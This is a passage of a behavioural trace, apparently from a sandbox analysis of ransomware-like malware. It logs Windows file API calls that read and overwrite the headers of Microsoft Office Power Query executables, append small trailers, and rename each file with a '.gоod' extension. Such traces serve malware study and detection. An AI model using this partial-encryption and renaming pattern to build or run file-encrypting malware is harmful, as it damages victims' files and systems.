lpOldMode=0x206ecaf0) returned 1 [0207.596] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", lpFilePart=0x0) returned 0x84 [0207.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0207.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe"), fInfoLevelId=0x0, lpFileInformation=0x359a860 | out: lpFileInformation=0x359a860*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa8619f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa8619f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb91216, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48d0)) returned 1 [0207.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0207.600] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", lpFilePart=0x0) returned 0x84 [0207.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0207.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0207.600] GetFileType (hFile=0x7f8) returned 0x1 [0207.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0207.600] GetFileType (hFile=0x7f8) returned 0x1 [0207.600] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0207.601] ReadFile (in: hFile=0x7f8, lpBuffer=0x359adb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x359adb8*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0207.602] CloseHandle (hObject=0x7f8) returned 1 [0207.602] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", lpFilePart=0x0) returned 0x84 [0207.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0207.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0207.602] GetFileType (hFile=0x7f8) returned 0x1 [0207.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0207.602] GetFileType (hFile=0x7f8) returned 0x1 [0207.602] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x48d0 [0207.602] WriteFile (in: hFile=0x7f8, lpBuffer=0x359c0f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x359c0f0*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0207.767] CloseHandle (hObject=0x7f8) returned 1 [0209.942] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", lpFilePart=0x0) returned 0x84 [0209.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0209.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0209.942] GetFileType (hFile=0x858) returned 0x1 [0209.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0209.979] GetFileType (hFile=0x858) returned 0x1 [0209.979] ReadFile (in: hFile=0x858, lpBuffer=0x35910d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x35910d8*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0210.056] CloseHandle (hObject=0x858) returned 1 [0210.056] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", lpFilePart=0x0) returned 0x84 [0210.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0210.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0210.056] GetFileType (hFile=0x858) returned 0x1 [0210.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0210.056] GetFileType (hFile=0x858) returned 0x1 [0210.056] WriteFile (in: hFile=0x858, lpBuffer=0x3516220*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3516220*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0210.056] CloseHandle (hObject=0x858) returned 1 [0210.057] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe", lpFilePart=0x0) returned 0x84 [0210.057] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe.gоod", lpFilePart=0x0) returned 0x89 [0210.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0210.057] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa8619f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa8619f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x796addac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x48e0)) returned 1 [0210.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0210.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe.gоod")) returned 1 [0210.058] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", lpFilePart=0x0) returned 0x8c [0210.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0210.058] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe"), fInfoLevelId=0x0, lpFileInformation=0x360d8b0 | out: lpFileInformation=0x360d8b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x92201bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5070)) returned 1 [0210.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0210.059] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", lpFilePart=0x0) returned 0x8c [0210.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0210.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0210.060] GetFileType (hFile=0x858) returned 0x1 [0210.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0210.060] GetFileType (hFile=0x858) returned 0x1 [0210.060] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0210.060] ReadFile (in: hFile=0x858, lpBuffer=0x360de48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x360de48*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0210.738] CloseHandle (hObject=0x858) returned 1 [0210.738] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", lpFilePart=0x0) returned 0x8c [0210.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0210.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0210.738] GetFileType (hFile=0x858) returned 0x1 [0210.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0210.738] GetFileType (hFile=0x858) returned 0x1 [0210.738] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x5070 [0210.738] WriteFile (in: hFile=0x858, lpBuffer=0x3532c00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3532c00*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0210.739] CloseHandle (hObject=0x858) returned 1 [0210.739] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", lpFilePart=0x0) returned 0x8c [0210.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0210.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0210.739] GetFileType (hFile=0x858) returned 0x1 [0210.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0210.739] GetFileType (hFile=0x858) returned 0x1 [0210.739] ReadFile (in: hFile=0x858, lpBuffer=0x3534f80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3534f80*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0210.777] CloseHandle (hObject=0x858) returned 1 [0210.777] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", lpFilePart=0x0) returned 0x8c [0210.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0210.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0210.778] GetFileType (hFile=0x858) returned 0x1 [0210.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0210.778] GetFileType (hFile=0x858) returned 0x1 [0210.778] WriteFile (in: hFile=0x858, lpBuffer=0x3533c18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3533c18*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0210.778] CloseHandle (hObject=0x858) returned 1 [0210.778] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", lpFilePart=0x0) returned 0x8c [0210.778] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe.gоod", lpFilePart=0x0) returned 0x91 [0210.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0210.778] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79d889cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5080)) returned 1 [0210.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0210.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe.gоod")) returned 1 [0210.779] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", lpFilePart=0x0) returned 0x8c [0210.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0210.779] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe"), fInfoLevelId=0x0, lpFileInformation=0x35b2728 | out: lpFileInformation=0x35b2728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6de953e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ad0)) returned 1 [0210.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0210.780] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", lpFilePart=0x0) returned 0x8c [0210.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0210.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0210.780] GetFileType (hFile=0x858) returned 0x1 [0210.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0210.780] GetFileType (hFile=0x858) returned 0x1 [0210.780] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0210.780] ReadFile (in: hFile=0x858, lpBuffer=0x35b2cc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x35b2cc0*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0211.225] CloseHandle (hObject=0x858) returned 1 [0211.225] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", lpFilePart=0x0) returned 0x8c [0211.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0211.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.226] GetFileType (hFile=0x858) returned 0x1 [0211.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0211.226] GetFileType (hFile=0x858) returned 0x1 [0211.226] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x4ad0 [0211.226] WriteFile (in: hFile=0x858, lpBuffer=0x35bb320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x35bb320*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0211.227] CloseHandle (hObject=0x858) returned 1 [0211.227] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", lpFilePart=0x0) returned 0x8c [0211.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0211.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.227] GetFileType (hFile=0x858) returned 0x1 [0211.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0211.227] GetFileType (hFile=0x858) returned 0x1 [0211.227] ReadFile (in: hFile=0x858, lpBuffer=0x35bd6a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x35bd6a0*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0211.256] CloseHandle (hObject=0x858) returned 1 [0211.256] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 